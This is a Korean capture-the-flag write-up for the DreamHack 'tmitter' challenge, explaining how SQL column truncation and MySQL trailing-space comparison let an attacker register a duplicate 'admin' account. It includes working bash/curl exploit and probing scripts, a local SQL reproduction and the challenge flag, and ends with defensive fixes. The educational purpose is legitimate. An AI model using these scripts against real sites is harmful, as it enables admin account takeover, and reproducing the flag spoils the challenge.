[🥈 Silver 4] SQL 컬럼 트렁케이션으로 admin 계정 탈취 — DreamHack tmitter 풀이

문제: DreamHack — [wargame.kr] tmitter

분류: Web (SQL 컬럼 트렁케이션)

난이도: 🥈 Silver 4

FLAG: DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}

문제 개요

wargame.kr 의 명작 tmitter(가짜 트위터) 이식 문제다. 소스는 안 주고 서버만 준다. admin 계정으로 로그인하면 플래그를 준다는 건 금방 드러나는데, 정작 admin 은 이미 존재해서 그대로는 가입도 로그인도 안 된다.

이 문제의 재미는 "이미 있는 계정을, 비밀번호도 모른 채, 어떻게 내 것으로 만드느냐" 다. 답은 DB가 문자열을 저장·비교하는 방식의 틈에 있다. 접속하면 평범한 로그인 화면이 뜬다.

🐦 배경 — tmitter 의 인증 흐름

tmitter 는 세 조각으로 돌아간다.

• join.php — 회원가입. 같은 id 가 이미 있으면 막고, 없으면 member 테이블에 INSERT.
• tmitter.php — 로그인. id/ps 가 맞는 행을 찾아 세션을 준다.
• 타임라인 — 로그인한 계정으로 트윗을 본다. admin 으로 들어가면 첫 트윗에 플래그가 박혀 있다.

즉 목표는 명확하다. admin 세션을 얻어라. 정공법은 두 갈래인데 둘 다 막혀 있다.

• admin 의 비밀번호를 알아낸다 → 모른다(무차별 대입은 비현실적).
• admin 으로 새로 가입한다 → "이미 존재"로 거부된다.

그래서 우회는 "가입은 되는데 로그인은 admin 으로 잡히는" 제3의 계정을 만드는 것이다. 그 열쇠가 MySQL 문자열 처리다.

🔬 정찰 — "admin 으로 가입하라"

회원가입 페이지(join.php)의 HTML 소스를 보면 주석에 대놓고 힌트가 있다: you need join with admin. 폼은 id(4자 이상)·ps(7자 이상)를 받고, 클라이언트 검증은 maxlength="32" 다 — 이 32 를 기억해 두자.

이제 서버가 실제로 어떻게 반응하는지 직접 찔러봤다. 세 가지를 순서대로 확인했다.

• 힌트가 정말 주석에 있는지 (curl 로 원문 확인).
• admin 으로 가입하면 막히는지.
• 일반 아이디는 정상 가입되는지.

정찰에 쓴 스크립트 전문과 실행 명령은 이렇다.

이 글의 명령은 모두 analysis/ 에서 실행한다.

# analysis/cap_probe.sh
#!/usr/bin/env bash
# 정찰 — 힌트와 중복체크 동작 확인
BASE="http://host3.dreamhack.games:16338"
echo "== join.php 힌트 (HTML 주석) =="
curl -s -m 20 "$BASE/join.php" | grep -oE '<!-- hint.*-->'
echo
echo "== 'admin' 으로 가입 시도 → PHP 중복체크에 막힘 =="
curl -s -m 20 -X POST "$BASE/join.php" --data-urlencode 'id=admin' --data-urlencode 'ps=password123' | grep -oiE 'admin</b> is exist!!|is exist' | head -1
echo
echo "== 일반 계정(zztest99) 가입 → 성공(메인으로 redirect) =="
curl -s -m 20 -X POST "$BASE/join.php" --data-urlencode 'id=zztest99' --data-urlencode 'ps=password123' | grep -oE "window.location='./';" | head -1
echo
echo "→ 중복체크는 '정확히 일치'하는 id 만 막는다. 컬럼 길이 트렁케이션으로 우회 가능."

bash cap_probe.sh

직접 찔러본 명령은 이렇다.

BASE="http://host3.dreamhack.games:PORT"
 
# 힌트 주석 확인
curl -s "$BASE/join.php" | grep -oE '<!-- hint.*-->'
# <!-- hint : you need join with admin -->
 
# admin 으로 가입 → 거부
curl -s -X POST "$BASE/join.php" --data-urlencode 'id=admin' --data-urlencode 'ps=password123' | grep -o 'is exist'
# is exist
 
# 일반 아이디 → 가입 성공(메인으로 redirect)
curl -s -X POST "$BASE/join.php" --data-urlencode 'id=zztest99' --data-urlencode 'ps=password123' | grep -o "window.location='./';"
# window.location='./';

결과가 갈렸다. admin 은 "admin is exist!!" 로 거부되고, zztest99 같은 평범한 아이디는 메인으로 리다이렉트되며 가입된다. 서버가 가입 시 SELECT ... WHERE id='$id' 로 중복을 확인하는 것이다.

여기서 중요한 관찰. 이 중복 체크는 입력한 문자열과 "정확히 같은" id 만 막는다. 그렇다면 DB에는 admin 으로 저장되지만, 중복 체크 시점에는 admin 과 달라 보이는 문자열을 넣을 수 있다면? 그게 이 문제의 급소다.

🧱 배경 — MySQL 이 문자열을 저장·비교하는 방식

우회를 이해하려면 MySQL(여기선 MariaDB) 의 두 가지 성질을 알아야 한다. 둘 다 "직관과 어긋나서" 취약점이 된다.

① PADSPACE — 끝 공백을 무시하는 비교

MySQL 의 CHAR/VARCHAR 는 기본 콜레이션(utf8mb4_general_ci 등, 이름 끝이 _ci)이 PADSPACE 다. = 비교를 할 때 짧은 쪽을 공백으로 패딩해 길이를 맞춘 뒤 비교한다. 결과적으로 끝에 붙은 공백은 비교에서 무시된다.

그래서 이런 결과가 나온다.

• 'admin' = 'admin ' → 참(1). 끝 공백만 다르니 같다고 본다.
• 'admin' = 'admin 1' → 거짓(0). 마지막 1 은 공백이 아니라 진짜로 다르다.

이 비대칭이 핵심이다. admin 뒤에 공백들 + 진짜 글자 하나(1) 를 붙이면, 중복 체크(= 'admin 1')는 통과하지만, 만약 그 1 을 어떻게든 없앨 수 있다면 저장된 값은 admin(+공백)이 되어 = 'admin' 이 참이 된다.

② 컬럼 트렁케이션 — 초과분을 조용히 잘라 저장

그 1 을 없애 주는 게 두 번째 성질이다. id 컬럼이 varchar(N) 이면, 그보다 긴 문자열을 INSERT 할 때 비엄격(non-strict) 모드에서는 에러 없이 뒤를 잘라 저장한다. 예전 PHP/MySQL 스택의 기본값이 이 비엄격 모드였다.

즉 admin + 공백 여러 개 + 1 을, 컬럼 길이보다 길게 만들어 넣으면:

• 중복 체크: 전체 문자열(admin ... 1)로 조회 → 끝의 1 때문에 기존 admin 과 불일치 → 통과.
• INSERT: 컬럼 길이로 잘림 → 1 이 잘려 나가고 admin + 공백 만 저장.
• 결과: 저장된 값은 PADSPACE 비교에서 admin 과 같은, "또 하나의 admin" 이 된다.

③ 이 공격의 계보 — SQL Column Truncation

이건 tmitter 만의 트릭이 아니라 SQL Column Truncation 이라는 알려진 취약점 클래스다. "회원가입에서 관리자 계정과 같은 이름을 만들어 권한을 가로채는" 패턴으로, 과거 실제 웹앱(구버전 워드프레스류 게시판·PHP 회원제 사이트)에서도 같은 방식으로 관리자 계정이 탈취됐다. 뿌리는 "애플리케이션이 검사한 문자열"과 "DB에 실제로 저장·비교되는 문자열"이 달라지는 데 있다.

문자열 타입별로 끝 공백 처리가 조금씩 다른 것도 알아둘 만하다.

• CHAR(N) — 저장 시 항상 공백으로 오른쪽을 채우고, 읽을 때 끝 공백을 떼며, 비교는 PADSPACE.
• VARCHAR(N)·TEXT — 저장은 넣은 그대로지만, 기본 콜레이션(*_ci, *_general_ci)이 PADSPACE 라 = 비교에서는 끝 공백을 무시한다.
• 단 LIKE 는 예외 — 'admin' LIKE 'admin ' 는 거짓이다. LIKE 는 공백을 유의미하게 본다. 그래서 로그인 쿼리가 = 가 아니라 LIKE 였다면 이 우회는 통하지 않았을 것이다.

즉 이 문제는 varchar(32) + 비엄격 모드 + = 비교라는 조합이 맞아떨어져 성립한다. 세 조건 중 하나만 어긋나도 막힌다는 점을 기억해 두면 방어에도 그대로 쓰인다.

🐛 삽질 기록

💣 핵심 — 3단계 트렁케이션 공격

정리하면 공격은 세 단계다.

말로만 하면 미덥지 않으니, 로컬 MariaDB 로 똑같이 재현해 봤다. 문제와 같은 구조로 member(id varchar(20), ps ...) 테이블을 만들고 원래 admin 을 넣은 뒤, admin + 공백30 + 1 을 넣어 봤다.

재현에 쓴 SQL 스크립트 전문과 실행 명령이다.

-- analysis/demo.sql
-- tmitter 메커니즘 로컬 재현 (MariaDB)
DROP DATABASE IF EXISTS tm; CREATE DATABASE tm; USE tm;
 
-- (1) MySQL/MariaDB 는 CHAR/VARCHAR 비교에서 끝 공백을 무시한다 (PADSPACE collation)
SELECT 'admin' = 'admin        '      AS "admin = 'admin        '",
       'admin' = 'admin        1'     AS "admin = 'admin        1'";
 
-- 문제와 동일: id 는 varchar(?) (여기선 20으로 가정), 원래 admin 존재
CREATE TABLE member (id VARCHAR(20), ps VARCHAR(64));
INSERT INTO member VALUES ('admin', 'REAL_ADMIN_PW');
 
-- (2) 가입 중복체크 — 우리가 넣을 크래프트 id (admin + 공백30 + '1') 로 조회
SET @craft = CONCAT('admin', REPEAT(' ', 30), '1');
SELECT LENGTH(@craft) AS "크래프트 길이",
       (SELECT COUNT(*) FROM member WHERE id=@craft) AS "중복체크 count (0이면 통과)";
 
-- (3) INSERT — 비엄격(non-strict) 모드에서는 varchar(20) 초과분이 조용히 잘린다
SET sql_mode='';                      -- 예전 PHP/MySQL 기본값(비엄격) 재현
INSERT INTO member VALUES (@craft, 'pwn12345');
SELECT id, HEX(id) AS "저장된 id (hex)", LENGTH(id) AS len, ps
  FROM member WHERE ps='pwn12345';
 
-- (4) 로그인 — admin 으로 조회하면 크래프트한 행이 매칭된다
SELECT id, ps, '<= admin 으로 로그인되는 행' AS note
  FROM member WHERE id='admin' AND ps='pwn12345';

mysql -t < demo.sql

캡쳐가 세 단계를 그대로 보여준다.

• 'admin' = 'admin ' → 1, 'admin' = 'admin 1' → 0. PADSPACE 비교가 실제로 그렇게 동작한다.
• 크래프트 문자열 길이는 36, 중복 체크 count 는 0 → 가입 통과.
• sql_mode 를 비엄격('')으로 두고 INSERT 하니, varchar(20) 이라 잘려서 저장된 id 의 HEX 가 61646D696E(=admin) + 20(공백) × 15, 길이 20. 1 은 흔적도 없이 사라졌다.
• WHERE id='admin' AND ps='pwn12345' 로 조회하면 크래프트한 행이 admin 으로 잡힌다.

메커니즘이 이론이 아니라 실제로 성립함을 확인했으니, 이제 라이브 서버에 적용한다.

🎯 익스플로잇

컬럼 길이 프로빙 — varchar(32) 확정

먼저 라이브 서버의 실제 id 컬럼 길이를 알아냈다. admin + 공백 N + 1 로 가입한 뒤 admin 으로 로그인이 되는지 보면 된다. 로그인이 성공한다는 건 곧 트렁케이션이 1 을 잘라냈다는 뜻이고, 이는 크래프트 길이(N+6)가 컬럼 길이를 넘었다는 신호다. N 을 늘려 가며 실패→성공이 바뀌는 경계를 찾았다.

프로빙 스크립트 전문과 실행 명령이다.

# analysis/cap_probelen.sh
#!/usr/bin/env bash
# 실제 id 컬럼 길이 프로빙 — admin + 공백N + '1' 가입 후 admin 로그인 성공 여부로 이진 판별
# 성공 = 트렁케이션이 '1' 을 잘라냈다 = 크래프트 길이(N+6) > 컬럼길이
BASE="http://host3.dreamhack.games:16338"
echo "N(공백) | 크래프트 len | admin 로그인 | 해석"
echo "--------+--------------+--------------+---------------------------"
for N in 24 25 26 27 28; do
  PW="zc${N}q7x"
  CRAFT=$(python3 -c "print('admin' + ' '*$N + '1')")
  curl -s -m 20 -X POST "$BASE/join.php" --data-urlencode "id=$CRAFT" --data-urlencode "ps=$PW" >/dev/null
  R=$(curl -s -m 20 -X POST "$BASE/tmitter.php" --data-urlencode 'id=admin' --data-urlencode "ps=$PW")
  if echo "$R" | grep -qiE 'flag is|What.s happening'; then
    printf "  %2d    |      %2d      |   성공 ✔     | 잘림 발생 → col <= %d\n" "$N" "$((N+6))" "$((5+N))"
  else
    printf "  %2d    |      %2d      |   실패       | '1' 생존 → col > %d\n" "$N" "$((N+6))" "$((5+N))"
  fi
done
echo
echo "→ N=26(len32) 실패 / N=27(len33) 성공 경계  ⇒  id 컬럼 = varchar(32)  (폼 maxlength=32 와 일치)"
echo "  최소 페이로드: 'admin' + 공백27 + '1' (33자). 넉넉히 공백 250개 써도 동일하게 통함."

bash cap_probelen.sh

경계가 깔끔했다. N=26(총 32자)은 실패, N=27(총 33자)은 성공. 즉 32자까지는 그대로 저장(=1 생존)되고 33자부터 잘린다 → id 컬럼은 varchar(32). 폼의 maxlength="32" 와 정확히 맞아떨어진다. 최소 페이로드는 admin + 공백 27개 + 1(33자)이지만, 공백을 넉넉히 250개 써도 결과는 같다.

계정 생성 → admin 로그인

크래프트한 admin 을 가입시키고, 곧바로 admin 으로 로그인했다.

익스플로잇 스크립트 전문과 실행 명령이다.

# analysis/cap_exploit.sh
#!/usr/bin/env bash
# SQL 컬럼 트렁케이션 익스플로잇 — admin + 공백 + 1 로 가입 후 admin 로그인
BASE="http://host3.dreamhack.games:16338"
JAR=$(mktemp)
PAD=$(python3 -c "print('admin' + ' '*250 + '1')")     # 256자
echo "[1] 크래프트 id = 'admin' + 공백250 + '1'  (총 ${#PAD}자)"
echo "    → 중복체크 WHERE id='admin...1' 는 기존 'admin' 과 불일치(끝에 1) → 통과"
echo "    → INSERT 시 id 컬럼 길이로 잘림 → 저장값 = 'admin' + 공백 ('1' 잘림)"
R1=$(curl -s -m 25 -X POST "$BASE/join.php" --data-urlencode "id=$PAD" --data-urlencode 'ps=pwn12345')
echo "    가입결과: $(echo "$R1" | grep -oE "window.location='./';|is exist" | head -1)"
echo
echo "[2] MySQL 은 trailing space 무시비교 → 'admin      ' = 'admin'"
echo "    login  id=admin  ps=pwn12345  → 크래프트한 행이 매칭되어 admin 으로 로그인"
R2=$(curl -s -m 25 -c "$JAR" -X POST "$BASE/tmitter.php" --data-urlencode 'id=admin' --data-urlencode 'ps=pwn12345')
echo
echo "[3] admin 계정 첫 트윗에 플래그:"
echo "$R2" | grep -oE 'flag is DH\{[^}]*\}'
rm -f "$JAR"

bash cap_exploit.sh

BASE="http://host3.dreamhack.games:PORT"
 
# ① admin + 공백 250 + '1' 로 가입 (중복체크는 끝의 '1' 때문에 통과, 저장 시 varchar(32) 로 잘림)
PAD=$(python3 -c "print('admin' + ' '*250 + '1')")
curl -s -X POST "$BASE/join.php" --data-urlencode "id=$PAD" --data-urlencode 'ps=pwn12345'
 
# ② admin 으로 로그인 → PADSPACE 비교로 내가 만든 행이 매칭
curl -s -X POST "$BASE/tmitter.php" --data-urlencode 'id=admin' --data-urlencode 'ps=pwn12345' \
     | grep -oE 'flag is DH\{[^}]*\}'
# flag is DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}

브라우저에서 같은 계정으로 로그인해도 그대로 admin 타임라인이 열리고, 첫 트윗에 플래그가 걸려 있다. 우측 상단 프로필이 admin 으로 찍힌 것까지 확인했다.

플래그: DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}

📝 결론 — 문자열의 저장·비교 경계는 늘 공격 표면

한 줄짜리 인증 로직이 무너진 원인은 하나가 아니라 세 개의 틈이 겹친 것이다. 각각을 짚어 본다.

중복 체크와 실제 저장의 규칙이 어긋났다.

중복 체크는 "입력 문자열과 정확히 일치" 를 봤는데, 실제 저장은 "길이 초과분 잘라내기 + 끝 공백 무시 비교" 였다. 검증하는 값과 저장·비교되는 값이 서로 다른 규칙을 따르면, 그 사이에 반드시 우회 가능한 틈이 생긴다. 검증은 저장될 최종 형태(정규화·절단 후)를 기준으로 해야 한다.

MySQL 을 strict 모드로 운영해야 한다.

비엄격 모드는 컬럼 길이를 초과하는 INSERT 를 조용히 잘라 저장한다. sql_mode 에 STRICT_ALL_TABLES(또는 STRICT_TRANS_TABLES)를 켜면 이런 입력이 경고가 아니라 에러로 거부되어, 트렁케이션 공격 자체가 성립하지 않는다. 요즘 MariaDB 는 기본이 strict 지만, 오래된 스택이나 명시적으로 끈 환경에서는 여전히 취약하다.

애플리케이션에서 길이·정규화를 강제해야 한다.

클라이언트의 maxlength 는 curl 한 번이면 우회된다. 서버에서 입력 길이를 컬럼 길이 이하로 검증하고, 저장 전에 TRIM() 등으로 정규화하면 admin 과 admin 이 같은 값으로 취급되어 애초에 이중 등록이 불가능해진다. id 컬럼에 UNIQUE 제약을 걸어 두는 것도 이중 방어가 된다.

일반화하면, 문자열의 "저장 형태"와 "비교 규칙"이 애플리케이션의 가정과 어긋나는 순간이 공격 표면이다. 이 문제의 PADSPACE·트렁케이션 말고도, 유니코드 정규화(fi → fi), 대소문자 콜레이션, null 바이트 절단, 오버롱 인코딩 등 "같아 보이지만 다른 / 달라 보이지만 같은" 문자열은 인증 우회의 단골 소재다. 인증·권한처럼 동일성 판단이 중요한 곳에서는 입력을 먼저 정규화하고, 그 정규화된 값으로 검증·저장·비교를 일관되게 해야 한다.

FLAG: DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}